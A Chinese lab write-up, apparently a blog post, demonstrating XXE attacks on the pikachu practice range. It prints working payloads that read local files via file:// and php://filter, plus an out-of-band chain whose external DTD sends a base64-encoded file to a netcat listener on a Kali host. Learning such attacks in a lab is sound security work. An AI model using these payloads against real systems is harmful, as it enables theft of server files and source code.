pikachu靶场之模拟xxe漏洞

--查看回显:提交一个正常的xml数据

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY xxe "你好,张万森"> ]>
<name>&xxe;</name>

payload中 &xxe; 是用来将xxe这个实体进行调用,xxe实体成功在前端回显。 

--查看文件:读取服务器/本地文件(事先创建一个文本文件)

1、复制新建文件的文件地址

2、提交的payload如下利用file://协议就能看到服务器/主机上的该文件的文件内容

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D://phpstudy_pro//WWW//xxe.txt"> ]>
<x>&xxe;</x>

 查到了我在我新建的xxe.txt文件下输入的内容“我是一个网安小白白”

--查看源码:利用php://协议的filter过滤器以base64格式读取服务器/本地文件,代码如下

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/xxe.php"> 
]>   
<ANY>&xxe;</ANY>

查到的是编码后3的内容,解码之后就可

--DTD外部调用:

第一步:模拟文件准备

1、在D盘根目录新建一个flag.txt

在flag.txt文件中随便输入内容,我输入的是“你好,张万森6666666666”

2、在www目录下新建一个my.dtd文件输入代码

文件在路径为"D:\phpstudy_pro\WWW\my.dtd"

代码中指定的IP地址为kali虚拟机的8886端口

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.189.141:8886/?%file;'>">
%start;

3、xml.txt文件的内容

其中指定的IP地址为自己本机的ip

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://172.16.2.47/my.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/flag.txt">    %remote;    
%send;]>

第二步:打开kali监听8886端口,命令为nc -lvvp 8886

第三步:将xml.txt的内容复制到提交框提交

最后:完成,查看kali里面,查看到文件里的内容(需要base64解码)

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值